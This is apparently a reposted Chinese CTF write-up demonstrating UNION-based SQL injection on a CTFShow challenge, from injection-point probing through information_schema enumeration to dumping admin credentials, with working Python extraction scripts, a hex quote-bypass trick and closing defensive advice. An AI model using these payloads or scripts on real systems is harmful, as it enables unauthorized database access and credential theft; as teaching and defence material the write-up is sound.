文章总结: 本文详细演示了SQL联合查询注入的完整攻击链,包括通过单引号探测注入点、ORDERBY确定列数、UNIONSELECT定位回显位、利用information_schema提取数据库名/表名/列名,最终获取管理员密码。文档提供了完整的Python利用脚本和防御建议(参数化查询、输入验证、最小权限原则)。 综合评分: 85 文章分类: 渗透测试,WEB安全,CTF,漏洞分析,实战经验
AI渗透测试 — SQL联合查询注入实战
原创
aiyou aiyou
网络安全者
2026年6月24日 09:43 河南
在小说阅读器读本章
去阅读
0x00 前言
今天带来一道经典的SQL联合查询注入题目,来自CTFShow平台。整个攻击链路清晰完整,非常适合入门选手理解联合注入的核心原理。靶场地址已授权,跟着步骤走一遍,收获满满。
0x01 信息收集 — 发现注入点
打开目标页面,URL结构如下:
https://target.challenge.ctf.show/?id=1
页面正常返回内容:1-Welcome
注入点探测: 在参数后加单引号 ',测试数据库对特殊字符的处理方式。
# 正常请求
GET /?id=1 → 页面正常显示 "1-Welcome"
# 单引号测试
GET /?id=1' → 页面异常/报错
判断依据: 单引号破坏了后端SQL语句的语法结构,说明参数值被直接拼接进了SQL查询,未做任何过滤或转义。注入点确认。
💡 原理说明: 后端SQL大概长这样:
SELECT * FROM pages WHERE id = '$id'当
$id = 1'时,变成了:SELECT * FROM pages WHERE id = '1''多出来的单引号导致语法错误,触发异常响应。
0x02 探测列数 — ORDER BY 二分法
联合查询注入的前提是:UNION SELECT的列数必须与原查询一致。用 ORDER BY 逐步递增来确定列数。
GET /?id=1 order by 1 → 正常 ✅
GET /?id=1 order by 2 → 正常 ✅
GET /?id=1 order by 3 → 正常 ✅
GET /?id=1 order by 4 → 异常 ❌
结论:查询结果共 3 列。
💡 原理说明:
ORDER BY n按第n列排序,如果n超过实际列数,数据库会报错。所以ORDER BY 3成功、ORDER BY 4失败,说明恰好是3列。
0x03 确定回显位 — UNION SELECT 探针
列数确定后,需要找出哪几列的数据会被渲染到页面上(即”回显位”)。用数字常量做标记:
?id=-1 union select 1,2,3
注意:
id=-1是为了让原始查询返回空结果,确保页面只显示 UNION 注入进来的数据。
页面响应:<h1>1</h1> 和 <div>3</div> 均有内容输出。
结论:第1列对应页面标题 <h1>,第2列内容不显示,第3列对应 <div>。主要利用位置1进行数据提取。
0x04 提取数据库信息
查数据库名和版本:
?id=-1 union select database(),version(),3
# 等效的Python请求示例
import requests
base = "https://target.challenge.ctf.show/"
payload = "?id=-1 union select database(),version(),3"
r = requests.get(base + payload)
# 从响应中解析 <h1> 标签内容
import re
match = re.search(r'<h1>(.*?)</h1>', r.text)
if match:
print("DB Info:", match.group(1))
返回结果:
数据库名:ctfshow_page_informations
数据库版本:10.3.18-MariaDB
0x05 枚举表名
利用 MySQL/MariaDB 的元数据库 information_schema 查询当前数据库的所有表:
?id=-1 union select group_concat(table_name),2,3
from information_schema.tables
where table_schema=database()
# Python 完整利用脚本
import requests
import re
base = "https://target.challenge.ctf.show/"
definject(payload):
url = base + "?id=" + payload
r = requests.get(url, timeout=10)
match = re.search(r'<h1>(.*?)</h1>', r.text)
returnmatch.group(1) ifmatchelseNone
# 查表名
tables = inject("-1 union select group_concat(table_name),2,3 from information_schema.tables where table_schema=database()")
print("Tables:", tables)
返回结果:
Tables: pages, users
发现了 users 表,这就是我们的目标。
0x06 枚举列名
锁定 users 表,查询其字段结构:
?id=-1 union select group_concat(column_name),2,3
from information_schema.columns
where table_schema=database()
and table_name='users'
# 查列名
columns = inject("-1 union select group_concat(column_name),2,3 from information_schema.columns where table_schema=database() and table_name='users'")
print("Columns:", columns)
返回结果:
Columns: id, username, password
字段结构一目了然。
0x07 拖库 — 读取 Flag
万事俱备,直接读取 users 表中的所有用户名和密码:
?id=-1 union select group_concat(username,0x3a,password),2,3
from users
💡
0x3a是冒号:的十六进制表示,用来分隔 username 和 password,避免引号被过滤。
# 完整利用脚本(一键拿 flag)
import requests
import re
base = "https://target.challenge.ctf.show/"
definject(payload):
url = base + "?id=" + requests.utils.quote(payload)
r = requests.get(url, timeout=10)
h1 = re.search(r'<h1>(.*?)</h1>', r.text)
return h1.group(1) if h1 elseNone
# Step 1: 获取数据库名
db = inject("-1 union select database(),2,3")
print(f"[+] Database: {db}")
# Step 2: 获取表名
tables = inject("-1 union select group_concat(table_name),2,3 from information_schema.tables where table_schema=database()")
print(f"[+] Tables: {tables}")
# Step 3: 获取列名
cols = inject("-1 union select group_concat(column_name),2,3 from information_schema.columns where table_schema=database() and table_name=0x7573657273")
print(f"[+] Columns: {cols}")
# Step 4: 读数据
data = inject("-1 union select group_concat(username,0x3a,password),2,3 from users")
print(f"[+] Data: {data}")
注意: Step 3 中
table_name的值用了十六进制0x7573657273(即users),这是一种绕过引号过滤的常见技巧。
最终输出:
[+] Database: ctfshow_page_informations
[+] Tables: pages,users
[+] Columns: id,username,password
[+] Data: admin:CTF{admin_secret_password}
Flag 到手:CTF{adm***********word} 🎉
0x08 攻击链路总结
发现 ?id= 参数
↓
?id=1' → 页面报错 → 确认注入点
↓
ORDER BY 1/2/3 正常,ORDER BY 4 报错 → 3列
↓
UNION SELECT 1,2,3 → 回显位在列1和列3
↓
database() → ctfshow_page_informations
↓
information_schema.tables → pages, users
↓
information_schema.columns → id, username, password
↓
SELECT username,password FROM users → admin:CTF{...}
0x09 防御建议
作为开发者,以下几点可以直接防住这类攻击:
1. 使用参数化查询(最根本的防御)
# ❌ 危险写法
query = f"SELECT * FROM pages WHERE id = '{user_input}'"
# ✅ 安全写法(PDO/参数化)
cursor.execute("SELECT * FROM pages WHERE id = %s", (user_input,))
2. 输入验证
# id 参数只允许整数
if not user_input.isdigit():
abort(400)
3. 最小权限原则
数据库账号只给 SELECT 权限,禁止访问 information_schema,即使注入成功也无法枚举表结构。
4. 错误信息处理
生产环境关闭详细的数据库报错输出,避免泄露SQL语句结构。
0x0A 结语
联合查询注入是SQL注入中最直观、最易理解的类型,也是CTF入门必刷的知识点。核心思路就四步:确认注入 → 定列数 → 找回显位 → 逐层提取数据。
掌握了这个基础,后续的报错注入、盲注、时间盲注都是在这个框架上的延伸。多动手,多思考,是进步最快的方式。
如有问题欢迎在评论区交流,觉得有帮助的话点个在看支持一下~
| | |
| — | — |
| |
|
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:网络安全者 aiyou aiyou《AI渗透测试 — SQL联合查询注入实战》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。








评论